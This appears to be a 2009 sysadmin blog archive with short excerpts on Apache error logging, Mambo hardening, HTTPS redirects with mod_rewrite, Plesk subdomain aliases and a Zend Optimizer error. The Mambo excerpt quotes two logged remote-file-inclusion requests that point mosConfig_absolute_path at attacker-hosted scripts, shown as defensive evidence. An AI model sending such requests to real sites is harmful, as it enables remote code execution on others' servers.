How To log apache errors to a custom file
Wednesday, December 16th, 2009Ever needed to solve a matter in your php website but you could not see the errors or didn’t have access to the error_log of your vhost?
a workarround:

Ever needed to solve a matter in your php website but you could not see the errors or didn’t have access to the error_log of your vhost?
a workarround:
I know that not lots of people use mambo these days, and most of them upgraded to joomla 1.5 but in case you happen to have one hosted in your server, there is a known vulnerability , hack scripts using the mosConfig_absolute_path variable to load malicious code from other webhosts ,and that gives them the ability to run scirpts (you surely dont wont) in your server.
an example is requests like the above in the access files of apache:
/CMS//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=
1&GLOBALS=mosConfig_absolute_path=http://www.rgboy.fi//spreadz.txt??
/CMS//index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=
1&GLOBALS=&mosConfig_absolute_path=http://forum.redglove.it//c.txt??
securing/hardening the tmp is one thing, but wont do the job, the rules of the latest Mod Security are not easy at all to write , you have to be good in regular expressions.
What did the trick in my case is re-write rules. (more…)
To redirect all http:// traffic to the corresponding https:// traffic, we make use of a bit of mod_rewrite magic.
RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.example.com/$1 [R,L]
Replace www.example.com with your own SSL URL.
To force SSL for a particular folder (not the entire site), use the following instead:
(more…)
For that purpose you should add an entry into domain’s zone DNS like:
To create www prefix for subdomains you need to take the following steps:
1) Create vhost.conf file in the
/home/httpd/vhosts/domain.com/subdomains/subdomain/conf
directory with the following content:
ServerAlias www.subdomain.domain.com
2) Add appropriate A record to the DNS zone of the domain in
Server->Domains->domain.com->DNS
(specify this domain’s IP address instead of 192.168.1.1):
www.subdomain.domain.com. A 192.168.1.1
3) Run wersrvmng utility to apply changes.
# /usr/local/psa/admin/sbin/websrvmng -v -a
After Zend Optimizer installation you get the following error:
Failed loading /usr/local/Zend/lib/ZendExtensionManager.so:
/usr/local/Zend/lib/ZendExtensionManager.so: failed to map segment from shared object: Permission denied
this is because of (more…)